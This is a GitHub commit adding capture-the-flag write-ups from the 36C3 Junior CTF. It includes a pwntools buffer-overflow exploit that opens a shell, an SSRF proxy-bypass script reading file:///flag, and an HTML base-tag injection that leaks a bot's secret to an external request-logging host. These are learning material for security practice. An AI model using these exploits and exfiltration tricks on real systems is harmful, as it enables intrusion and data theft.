forked from Dvd848/CTFs
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
877 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
# 36C3 Junior CTF 2019 | ||
|
||
Writeups for various challenges from the 2019 36C3 Junior CTF. | ||
|
||
Finished in the 13th place. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,156 @@ | ||
# SPOaaS | ||
Pwn, Easy | ||
|
||
## Description | ||
|
||
> Welcome to Stack Buffer Overflow as a Service! Since modern mitigations made it more difficult to exploit vulnerabilities, we decided to offer an easy and convenient service for everyone to experience the joy of exploiting a stack-based buffer overflow. Simply enter your data and win! nc 209.250.235.77 22222 | ||
A binary file was attached. | ||
|
||
## Solution | ||
|
||
Let's inspect the binary file: | ||
|
||
```console | ||
root@kali:/media/sf_CTFs/36c3/SPOaaS# file stack | ||
stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=076e706085388e7880893724f98034ce9b60bead, not stripped | ||
root@kali:/media/sf_CTFs/36c3/SPOaaS# checksec.sh -f stack | ||
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | ||
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 4stack | ||
``` | ||
|
||
Let's open it with Ghidra: | ||
|
||
```c | ||
undefined8 main(void) | ||
{ | ||
setvbuf(stdout,(char *)0x0,2,0); | ||
stack(); | ||
puts("Thank you for using SBOaaS :)"); | ||
return 0; | ||
} | ||
|
||
void stack(void) | ||
{ | ||
char acStack1352 [1352]; | ||
|
||
puts( | ||
"\n------------------------------------------------------------------\n SBOaaS \n------------------------------------------------------------------\n\nWelcome to StackBuffer Overflow as a Service\n\nSince modern mitigations made it more difficult to exploitvulnerabilities,\nwe decided to offer an easy and convenient service for everyone\ntoexperience the joy of exploiting a stack-based buffer overflow.\nSimply enter your data andwin!\n" | ||
); | ||
printf("Please enter your data. Good luck!\n> "); | ||
gets(acStack1352); | ||
return; | ||
} | ||
``` | ||
This is a very simple buffer overflow. We'll override the return address of `stack` and jump to: | ||
```c | ||
void spawn_shell(void) | ||
{ | ||
char *local_18; | ||
undefined8 local_10; | ||
local_18 = "/bin/bash"; | ||
local_10 = 0; | ||
execve("/bin/bash",&local_18,(char **)0x0); | ||
return; | ||
} | ||
``` | ||
|
||
The exploit: | ||
|
||
```python | ||
# Generate template using: | ||
# pwn template --host 209.250.235.77 --port 22222 ./stack | ||
#=========================================================== | ||
# EXPLOIT GOES HERE | ||
#=========================================================== | ||
# Arch: amd64-64-little | ||
# RELRO: Partial RELRO | ||
# Stack: No canary found | ||
# NX: NX enabled | ||
# PIE: No PIE (0x400000) | ||
|
||
import os | ||
|
||
def send_payload(proc, payload): | ||
proc.sendlineafter("> ", payload) | ||
|
||
|
||
def get_overflow_offset(): | ||
# It's problematic to create a core dump on an NTFS file system, | ||
# so reconfigure core dumps to be created elsewhere | ||
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") | ||
os.system("rm core.* > /dev/null") | ||
proc = process(exe.path) | ||
payload = cyclic(1380, n = exe.bytes) | ||
send_payload(proc, payload) | ||
proc.wait() | ||
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) | ||
log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes)) | ||
return offset | ||
|
||
|
||
overflow_offset = get_overflow_offset() | ||
|
||
log.info("spawn_shell() address: {}".format(hex(exe.symbols["spawn_shell"]))) | ||
|
||
io = start() | ||
payload = fit({overflow_offset: exe.symbols["spawn_shell"]}, filler = 'B') | ||
|
||
send_payload(io, payload) | ||
|
||
io.interactive() | ||
``` | ||
|
||
The output: | ||
|
||
```console | ||
root@kali:/media/sf_CTFs/36c3/SPOaaS# python exploit.py | ||
[*] '/media/sf_CTFs/36c3/SPOaaS/stack' | ||
Arch: amd64-64-little | ||
RELRO: Partial RELRO | ||
Stack: No canary found | ||
NX: NX enabled | ||
PIE: No PIE (0x400000) | ||
[+] Starting local process '/media/sf_CTFs/36c3/SPOaaS/stack': pid 2446 | ||
[*] Process '/media/sf_CTFs/36c3/SPOaaS/stack' stopped with exit code -11 (SIGSEGV) (pid 2446) | ||
[+] Parsing corefile...: Done | ||
[*] '/media/sf_CTFs/36c3/SPOaaS/core.2446' | ||
Arch: amd64-64-little | ||
RIP: 0x40068a | ||
RSP: 0x7fffce3b59d8 | ||
Exe: '/media/sf_CTFs/36c3/SPOaaS/stack' (0x400000) | ||
Fault: 0x6761616161616174 | ||
[*] Overflow offset: 1352 (8-byte architecture) | ||
[*] spawn_shell() address: 0x40068b | ||
[+] Opening connection to 209.250.235.77 on port 22222: Done | ||
[*] Switching to interactive mode | ||
$ ls | ||
bin | ||
boot | ||
dev | ||
etc | ||
flag.txt | ||
home | ||
lib | ||
lib64 | ||
media | ||
mnt | ||
opt | ||
proc | ||
root | ||
run | ||
sbin | ||
srv | ||
stack | ||
sys | ||
tmp | ||
usr | ||
var | ||
$ cat flag.txt | ||
junior-20165bcdbfebe4710bd0a1c168a5e752d999676e | ||
$ | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,81 @@ | ||
# double | ||
Web, Easy | ||
|
||
## Description | ||
|
||
> Get the /flag at http://108.61.211.185/ | ||
## Solution | ||
|
||
When accessing the site we get the following output: | ||
|
||
```python | ||
import string | ||
import urllib2 | ||
from bottle import route, run, post, get, request | ||
|
||
@get('/') | ||
def index(): | ||
with open(__file__) as f: | ||
return '<pre>' + "".join({'<':'<','>':'>'}.get(c,c) for c in f.read()) + '</pre>' | ||
|
||
|
||
@post('/isup') | ||
@get('/isup') | ||
def isup(): | ||
try: | ||
name = request.params.get('name', None) | ||
ip = request.environ.get('REMOTE_ADDR') | ||
is_remote = not (ip.startswith('127') or ip.startswith('172')) | ||
|
||
is_valid = all(x in name for x in ['http', 'kuchenblech']) | ||
if is_remote and not is_valid: | ||
raise Exception | ||
result = urllib2.urlopen(name).read() | ||
return result | ||
except: | ||
return 'Error' | ||
|
||
run(host='0.0.0.0', server="paste", port=8080, reloader=False) | ||
``` | ||
|
||
It looks like the root directory prints the source of the backend script. Using the `/isup` page, we can read a webpage via `urllib2.urlopen(name).read()`, assuming we comply with the preconditions: | ||
|
||
* If our IP is identified as a remote IP (i.e. it starts with `127` or `172`), we can only read URLs which contain both `http` and `kuchenblech` (note: The CTF domain was `http://kuchenblech.xyz/`). | ||
* Local IPs can read any URL. | ||
|
||
`127.*.*.*` should be familiar to everyone. Let's research `172.*.*.*` addresses: | ||
|
||
> If the 1st octet is 172 and the 2nd octet of a IPv4 address is 16–31, you have a private IP address, similar to 192.168.x.x or 10.x.x.x. These are the 3 private IP address ranges that are reserved per RFC 1918. | ||
> | ||
> ... | ||
> | ||
> If the 2nd octet of an IPv4 address starting with 172 is anything other than 16–31, it’s a publicly routable IP, just like almost any other. | ||
> ([Source](https://www.quora.com/What-is-the-significance-of-IP-addresses-starting-with-172)) | ||
So, using a proxy which starts with `172` we can bypass the `is_valid` check. But what should we send as the `name`? Sending `http://108.61.211.185/flag` didn't work, perhaps `/flag` is a local file? | ||
|
||
It turns out `urlopen` can open local files as well, so in order to open `/flag` we need to send `file:///flag`. | ||
|
||
The final script is: | ||
|
||
```python | ||
import requests | ||
|
||
s = requests.Session() | ||
def get_page(ip): | ||
r = s.get('http://108.61.211.185/isup?name=file:///flag', proxies={'http': ip}) | ||
return r.text | ||
|
||
print get_page("http://172.93.199.90:3131") | ||
``` | ||
|
||
The flag: `junior-double_or_noth1ng`. | ||
|
||
According to the flag (and the challenge name), the intended solution was to make a double request: | ||
|
||
``` | ||
http://108.61.211.185/isup?name=http://108.61.211.185/isup?kuchenblech=1%26name=file:///flag | ||
``` | ||
|
||
The `name` of the external request contains both `http` and `kuchenblech` while the internal request is performed locally and therefore does not need any validation. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,145 @@ | ||
# flagfriendly | ||
Web, Medium | ||
|
||
## Description | ||
|
||
> Flags for friendly Kuchenblech http://45.76.92.221:8070/ | ||
```python | ||
#!/usr/bin/env python3 | ||
import requests | ||
from flag import flag | ||
from flask import Flask, request, redirect, make_response | ||
|
||
app = Flask(__name__) | ||
|
||
|
||
@app.route("/", methods=["GET"]) | ||
def index(): | ||
title = request.args.get("title", default="Flags for Friendly Fellows", type=str) | ||
print("Flag cookie:", request.cookies.get("flag")) | ||
if request.cookies.get("flag") == flag: | ||
# Make sure the filename never leaks! | ||
path = flag | ||
else: | ||
path = "static/flag" | ||
response = make_response( | ||
f"""<!doctype html> | ||
<html> | ||
<head> | ||
<title>{title}</title> | ||
</head> | ||
<body> | ||
<h1>{title}</h1> | ||
<img src="/{path}.gif"/> | ||
</body> | ||
</html>""" | ||
) | ||
response.headers["Content-Security-Policy"] = "img-src *; default-src 'none';" | ||
return response | ||
|
||
|
||
@app.route("/report") | ||
def report(): | ||
""" | ||
This can be used to make bots surf this site. | ||
Bots will have the flag cookie set accordingly. | ||
""" | ||
url = request.args.get("url", default="", type=str) | ||
if not url: | ||
return "No url parameter provided to surf to" | ||
return requests.get(f"http://surfer:8075?url={url}").text | ||
|
||
|
||
@app.route(f"/{flag}.gif") | ||
def show_gif(): | ||
return redirect("/static/flag.gif") | ||
|
||
|
||
if __name__ == "__main__": | ||
app.run() | ||
|
||
``` | ||
|
||
## Solution | ||
|
||
Visiting the website, we get the following output, as expected: | ||
|
||
```html | ||
<!doctype html> | ||
<html> | ||
<head> | ||
<title>Flags for Friendly Fellows</title> | ||
</head> | ||
<body> | ||
<h1>Flags for Friendly Fellows</h1> | ||
<img src="/static/flag.gif"/> | ||
</body> | ||
</html> | ||
``` | ||
|
||
The `title` field is clearly vulnerable to injection, but scripts won't execute due to the existence of the CSP (Content-Security-Policy) header. | ||
|
||
The solution is to inject an HTML tag instead: `<base href="" />`. This tag instructs the browser to load all relative resources from a given base address instead of assuming addresses are relative to the current page's URI. | ||
|
||
Let's try visiting `http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://www.google.com%22%20/%3E`: | ||
|
||
```html | ||
<!doctype html> | ||
<html> | ||
<head> | ||
<title><base href="https://www.google.com" /></title> | ||
</head> | ||
<body> | ||
<h1><base href="https://www.google.com" /></h1> | ||
<img src="/static/flag.gif"/> | ||
</body> | ||
</html> | ||
``` | ||
|
||
In this case, the browser attempts to load `/static/flag.gif` from `https://www.google.com` (this obviously fails). | ||
|
||
But what if we replace `https://www.google.com` with a server that logs all requests, such as [requestbin.com](https://requestbin.com)? | ||
|
||
|
||
```html | ||
<!doctype html> | ||
<html> | ||
<head> | ||
<title><base href="https://enskhpoprq3jl.x.pipedream.net" /></title> | ||
</head> | ||
<body> | ||
<h1><base href="https://enskhpoprq3jl.x.pipedream.net" /></h1> | ||
<img src="/static/flag.gif"/> | ||
</body> | ||
</html> | ||
``` | ||
|
||
Any access to this page will attempt to load the resource from `https://enskhpoprq3jl.x.pipedream.net`, which will be logged and visible by us. If we visit the page, `/static/flag.gif` will be loaded. But according to the challenge comments, we can trigger a bot to visit any link using the `/report` API, and the bot will have the cookie value which will load the real flag as the image path. | ||
|
||
To conclude, we need to access: | ||
``` | ||
http://45.76.92.221:8070/report?url=http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E | ||
``` | ||
|
||
The bot visits: | ||
``` | ||
http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E | ||
``` | ||
|
||
The visit gets logged: | ||
``` | ||
GET /junior-CSP_THE_C_IS_FOR_CYBER.gif | ||
host: enskhpoprq3jl.x.pipedream.net | ||
Accept: image/webp,image/apng,image/*,*/*;q=0.8 | ||
Accept-Encoding: gzip, deflate, br | ||
Cache-Control: no-cache | ||
Pragma: no-cache | ||
Referer: http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E | ||
Sec-Fetch-Mode: no-cors | ||
Sec-Fetch-Site: cross-site | ||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36 | ||
Connection: keep-alive | ||
``` | ||
|
||
The flag is: `junior-CSP_THE_C_IS_FOR_CYBER` |
Oops, something went wrong.